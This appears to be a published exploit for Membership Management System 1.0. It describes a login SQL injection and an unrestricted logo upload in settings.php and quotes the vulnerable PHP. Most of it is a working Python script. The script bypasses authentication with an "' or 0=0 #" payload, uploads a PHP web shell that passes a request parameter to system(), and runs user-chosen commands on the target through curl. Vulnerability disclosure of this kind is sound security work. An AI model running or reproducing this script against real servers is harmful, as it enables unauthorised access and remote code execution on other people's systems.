Authored by SoSPiro

Membership Management System version 1.0 suffers from remote shell upload and remote SQL injection vulnerabilities.

from requests_toolbelt.multipart.encoder import MultipartEncoder
import requests
import string
import random
import os


# ========================================================================================================

# Application: Membership Management System
# Bugs: SQL injection + Insecure File Upload = Remote Code Execution
# Date: 14.03.2024
# Exploit Author: SoSPiro
# Vendor Homepage: https://codeastro.com/author/nbadmin/
# Software Link: https://codeastro.com/membership-management-system-in-php-with-source-code/
# Version: 1.0
# --------------------------------------------------

# Vulnerability Description:

# The sql injection vulnerability was found in the file `Membership-PHP/index.php`

# The login page located at MembershipM-PHP/index.php contains a SQL Injection vulnerability.
# This vulnerability allows attackers to inject malicious SQL code into the input fields used to provide login credentials.
# Through this exploit, unauthorized users can gain access to sensitive data or even take control of the system.


# Vulnerable Code Section:

# $email = $_POST['email'];
# $password = $_POST['password'];
# $hashed_password = md5($password);
# $sql = "SELECT * FROM users WHERE email = '$email' AND password = '$hashed_password'";


# The Insecure File Upload vulnerability appeared in this file `MembershipM-PHP/settings.php`

# The MembershipM-PHP/settings.php file contains an insecure file upload vulnerability.
# This allows attackers to upload unauthorized files to the server and potentially execute remote code execution (RCE) attacks.


# Vulnerable Code Section:

# if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) {
# $logoName = $_FILES['logo']['name'];
# $logoTmpName = $_FILES['logo']['tmp_name'];
# $logoType = $_FILES['logo']['type'];
# $uploadPath = 'uploads/';

# $targetPath = $uploadPath . $logoName;
# if (move_uploaded_file($logoTmpName, $targetPath)) {

# $updateSettingsQuery = "UPDATE settings SET system_name = '$systemName', logo = '$targetPath', currency = '$currency' WHERE id = 1";
# $updateSettingsResult = $conn->query($updateSettingsQuery);

# if ($updateSettingsResult) {
# $successMessage = 'System settings updated successfully.';} else {
# $errorMessage = 'Error updating system settings: ' . $conn->error;}} else {
# $errorMessage = 'Error moving uploaded file.';}}



# --------------------------------------------------

# reference : https://sospiro014.github.io/Membership-Management-System-RCE
# I created the python code used in the exploit by looking at this https://www.exploit-db.com/exploits/50123 source and modifying it


# ========================================================================================================


# generate random string 8 chars
def randomGen(size=8, chars=string.ascii_lowercase):
return ''.join(random.choice(chars) for _ in range(size))

# generating a random username and a random web shell file
shellFile = randomGen() + ".php"

# creating a payload for the login
payload = {
"email": "[email protected]' or 0=0 #",
"password": "a",
"login": ""
}

session = requests.Session()

# changeme
urlBase = "http://172.17.86.197/" # change this target ip :)

# login
url = urlBase + "index.php"
print("=== executing SQL Injection ===")
req = session.post(url, payload, allow_redirects=False)

# check if 'Set-Cookie' header is present in the response
if 'Set-Cookie' in req.headers:
cookie = req.headers["Set-Cookie"]
print("=== authenticated admin cookie:" + cookie + " ===")
else:
print("Set-Cookie header not found in the response.")
exit()

# upload shell
url = urlBase + "settings.php"

# Get user input for the command to execute
cmd_input = input("Enter the command to execute: ")

# PHP code to execute the command received from the user
php_code = "<?php if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST['cmd']); system($cmd);die; }?>"

mp_encoder = MultipartEncoder(
fields={
"systemName": "Membership System",
"currency": "$",
"logo": (shellFile, php_code, "application/x-php"),
"updateSettings": ""
}
)

headers = {
"Cookie": cookie,
'Content-Type': mp_encoder.content_type
}

print("=== login user and uploading shell " + shellFile + " ===")
req = session.post(url, data=mp_encoder, allow_redirects=False, headers=headers)

# curl the shell for test
requestUrl = "curl " + urlBase + "uploads/" + shellFile + "?cmd=" + cmd_input
print("=== issuing the command: " + requestUrl + " ===")

print("=== CURL OUTPUT ===")
os.system(requestUrl)